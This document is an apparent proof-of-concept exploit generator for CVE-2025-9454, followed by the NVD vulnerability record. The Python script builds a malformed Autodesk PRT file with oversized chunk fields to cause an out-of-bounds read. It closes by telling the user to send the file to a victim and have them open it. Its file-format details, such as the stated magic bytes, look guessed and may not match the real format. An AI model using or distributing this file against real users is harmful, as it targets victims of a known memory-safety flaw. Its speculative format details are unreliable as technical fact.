CVE-2025-9454

#!/usr/bin/env python3 """ CVE-2025-9454 PoC - Malicious PRT File Generator This PoC generates a malformed PRT file to trigger OOB read in Autodesk products. WARNING: For educational and security research purposes only. """ import struct import os def create_malicious_prt(output_path): """ Generate a malicious PRT file that triggers CVE-2025-9454 The vulnerability is in PRT file parsing that allows OOB read """ # PRT file magic number (Part file header) magic = b'PTR\x00' # PRT file signature # Malicious header with crafted size values # Trigger OOB read by setting invalid size/offset fields header = bytearray() header.extend(magic) # Version field header.extend(struct.pack('<I', 1)) # Crafted chunk count - causes parser to read beyond bounds chunk_count = 0xFFFFFFFF # Max uint32 to trigger OOB header.extend(struct.pack('<I', chunk_count)) # Malformed chunk header with invalid offset # This will cause the parser to read from invalid memory location invalid_offset = 0x7FFFFFFF # Large offset value invalid_size = 0xFFFFFFF0 # Unreasonably large size header.extend(struct.pack('<Q', invalid_offset)) # Chunk offset header.extend(struct.pack('<Q', invalid_size)) # Chunk size # Add padding data that will be parsed incorrectly padding_data = b'\x41' * 256 # 'A' padding header.extend(padding_data) # Write the malicious PRT file with open(output_path, 'wb') as f: f.write(header) print(f"[+] Malicious PRT file created: {output_path}") print(f"[+] File size: {len(header)} bytes") print(f"[!] This file may trigger CVE-2025-9454 when opened in affected Autodesk products") if __name__ == '__main__': output_file = 'CVE-2025-9454_malicious.prt' create_malicious_prt(output_file) print("\n[*] Usage: Send this file to victim and have them open it in Autodesk software")

{"cve": {"id": "CVE-2025-9454", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:03.170", "lastModified": "2025-12-19T14:38:59.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:shared_components:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.5", "matchCriteriaId": "28E85F6F-29B5-466C-85AD-79FC25372EFD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:3ds_max:2026:*:*:*:*:*:*:*", "matchCriteriaId": "B938D507-D95A-4EAD-86AB-9B52A3682414"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:advance_steel:2026:*:*:*:*:*:*:*", "matchCriteriaId": "68738B5A-B918-4CA3-BD13-4040B3219AFC"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad:2026:*:*:*:*:*:*:*", "matchCriteriaId": "8890EECB-7AB5-41A3-8E77-314183BC3AB3"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_architecture:2026:*:*:*:*:*:*:*", "matchCriteriaId": "CE935915-6926-474F-B5A4-7E77EF7426DD"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_electrical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "BEC23105-1362-4BFE-9C93-F0AAA5BAF2B0"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_map_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "2DB79016-0BB6-4E8A-8AE3-5AB39A252DED"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mechanical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "4A159D88-990D-41D7-B6B0-D97B38241860"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mep:2026:*:*:*:*:*:*:*", "matchCriteriaId": "046ADE16-4275-4BEF-9A71-480E709383F7"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_plant_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "EEB9FCDC-6717-44EB-AA55-983A771E2460"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:civil_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "3383C40E-DD43-4146-9B58-C44585E40985"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:infraworks:2026:-:*:*:*:*:*:*", "matchCriteriaId": "1B01CD79-B993-47BB-B775-C10422FB956B"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:inventor:2026:*:*:*:*:*:*:*", "matchCriteriaId": "F7393B89-15A9-4709-9FF3-DA1C88770594"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit:2026:*:*:*:*:*:*:*", "matchCriteriaId": "58A56B67-B754-4525-995A-F70CAA6B5AAB"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit_lt:2026:*:*:*:*:*:*:*", "matchCriteriaId": "DF3C0C68-F0D7-4737-8D37-D99F128DAB47"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:vault:2026:*:*:*:*:*:*:*", "matchCriteriaId": "08F81FC1-1B7C-40AF-88DB-B62F24CFA21C"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0024", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}